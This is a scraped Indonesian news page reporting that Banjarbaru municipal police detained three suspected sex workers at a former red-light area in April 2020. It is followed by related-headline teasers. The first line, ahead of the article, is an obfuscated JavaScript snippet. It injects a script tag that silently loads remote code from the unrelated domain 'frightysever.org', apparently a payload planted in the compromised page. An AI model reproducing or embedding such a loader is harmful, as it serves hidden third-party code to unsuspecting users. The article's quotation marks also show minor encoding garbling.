(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru mengamankan 3 pekerja seks komersial (PSK) di kawasan eks lokalisasi Pembatuan, jalan Kenanga, Kecamatan Landasan Ulin, Selasa (14/4/2020) siang.
Berawal saat petugas melaksanakan patroli ke arah jalan Bandara Internasional Syamsudin Noor dan jalan A Yani penertiban PKL yang berjualan titik terlarang. Patroli dilanjutkan dengan penyisiran ke kawasan eks lokalisasi Pembatuan.
Kepala Satpol PP Banjarbaru Marhain Rahman mengatakan, awalnya anggota Satpol PP menemukan 2 orang terduga PSK yang berusaha menutup pintu rumah karena panik.
Melihat gelagat mencurigakan tersebut, petugas kemudian mendatangi dan mengamankan kedua PSK tersebut. Namun, saat akan berakhirnya penyisiran, satu PSK kembali ditemukan. Namun, PSK tersebut berusaha melarikan diri hingga terjadinya aksi kejar-kerjaran dengan petugas.
“Sempat terjadi kejar-kejaran dengan petugas. PSK tersebut bersembunyi di rumah warga. Tapi kesigapan petugas berhasil menangkap terduga PSK tersebut. Ketiga terduga PSK ini sudah kita bawa untuk dimintai keterangan lebih lanjut,†kata Marhain.
Dari hasil pemeriksaan, ketiga PSK tersebut memang mengakui melakoni prostitusi. Saat sedang tidak menjalani kegiatan ini, ketiganya mengaku berkerja sebagai penjaga warung biasa.
“Tarif mereka untuk sekali kecan, berkisar dari Rp 100 ribu sampai Rp 150 ribu. Mereka menyewa satu kamar di bangunan eks lokalisasi Pembatuan dengan harga Rp 1 juta perbulan,†pungkas Marhain. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.